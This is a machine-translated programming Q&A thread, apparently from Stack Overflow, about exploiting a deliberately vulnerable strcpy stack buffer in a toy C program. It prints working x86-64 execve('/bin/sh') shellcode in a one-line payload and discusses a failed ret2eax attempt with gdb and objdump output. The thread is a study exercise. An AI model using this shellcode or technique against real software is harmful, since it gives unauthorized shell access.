我在尝试覆盖保存的返回地址时遇到了一些问题。这是我的代码:
1 #include <stdio.h>
2 #include <string.h>
3
4 void foo(char *source)
5 {
6 char buf[64];
8 printf("buf address: %p\n", buf);
9 strcpy(buf, source);
11 }
12 int main(int argc, char **argv)
13 {
14 if(argc > 1)
15 foo(argv[1]);
16 else
17 exit(0);
18
19 return 0;
20 }
首先简单易用:
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x10\xe3\xff\xff\xff\x7f"'`
buf address: 0x7fffffffe310
- &GT;产生一个壳
现在无需重新输入printf以获取我的shellcode地址。我想试试ret2eax。
所以我用objdump找到了它的地址:
00000000004004bc <call_gmon_start>:
4004bc: 48 83 ec 08 sub $0x8,%rsp
4004c0: 48 8b 05 11 05 20 00 mov 0x200511(%rip),%rax # 6009d8 <_DYNAMIC+0x1e0>
4004c7: 48 85 c0 test %rax,%rax
4004ca: 74 02 je 4004ce <call_gmon_start+0x12>
4004cc: ff d0 callq *%rax
4004ce: 48 83 c4 08 add $0x8,%rsp
或者在这里:
0000000000400570 <frame_dummy>:
400570: 48 83 3d 78 02 20 00 cmpq $0x0,0x200278(%rip) # 6007f0 <__JCR_END__>
400577: 00
400578: 74 1b je 400595 <frame_dummy+0x25>
40057a: b8 00 00 00 00 mov $0x0,%eax
40057f: 48 85 c0 test %rax,%rax
400582: 74 11 je 400595 <frame_dummy+0x25>
400584: 55 push %rbp
400585: bf f0 07 60 00 mov $0x6007f0,%edi
40058a: 48 89 e5 mov %rsp,%rbp
40058d: ff d0 callq *%rax
但是当我写道:
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`
- &GT;我只是得到了一个分段错误,为什么会这样?
使用gdb和foo()中retq的断点:
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332: sbb (%rax),%al
如果需要,反汇编foo():
0x000000000040059c <+0>: push %rbp
0x000000000040059d <+1>: mov %rsp,%rbp
0x00000000004005a0 <+4>: sub $0x50,%rsp
0x00000000004005a4 <+8>: mov %rdi,-0x48(%rbp)
0x00000000004005a8 <+12>: lea -0x40(%rbp),%rax
0x00000000004005ac <+16>: mov %rax,%rsi
0x00000000004005af <+19>: mov $0x4006bc,%edi
0x00000000004005b4 <+24>: mov $0x0,%eax
0x00000000004005b9 <+29>: callq 0x400460 <printf@plt>
0x00000000004005be <+34>: mov -0x48(%rbp),%rdx
0x00000000004005c2 <+38>: lea -0x40(%rbp),%rax
0x00000000004005c6 <+42>: mov %rdx,%rsi
0x00000000004005c9 <+45>: mov %rax,%rdi
0x00000000004005cc <+48>: callq 0x400450 <strcpy@plt>
0x00000000004005d1 <+53>: leaveq
=> 0x00000000004005d2 <+54>: retq
答案 0 :(得分:0)
你没有粘贴函数foo
的汇编代码,但我假设编译器在堆栈上使用了一个局部变量来存储ptr
的值,而这个变量碰巧位于上面您的数组在您已覆盖的内存区域中。这一切归结为rax
将不包含指向缓冲区中代码的指针。
作为参考,我的非优化版本如下所示:
0x00000000004005c6 <+42>: mov -0x58(%rbp),%rdx
0x00000000004005ca <+46>: lea -0x50(%rbp),%rax
0x00000000004005ce <+50>: mov %rdx,%rsi
0x00000000004005d1 <+53>: mov %rax,%rdi
0x00000000004005d4 <+56>: callq 0x400450 <strcpy@plt>
0x00000000004005d9 <+61>: mov -0x8(%rbp),%rax
0x00000000004005dd <+65>: leaveq
0x00000000004005de <+66>: retq
正如您所见,buf
位于rbp-0x50
且ptr
位于rbp-8
,位于数组和返回地址之间。由于strcpy
返回目标参数,因此您可以将C代码更改为return strcpy(buf, source)
。此外,启用优化可以消除局部变量,从而解决问题,但这不是很可靠。
鉴于您已经在gdb
,您应该在发生故障时检查rax
中的值,因为这几乎是导致崩溃的唯一原因。< / p>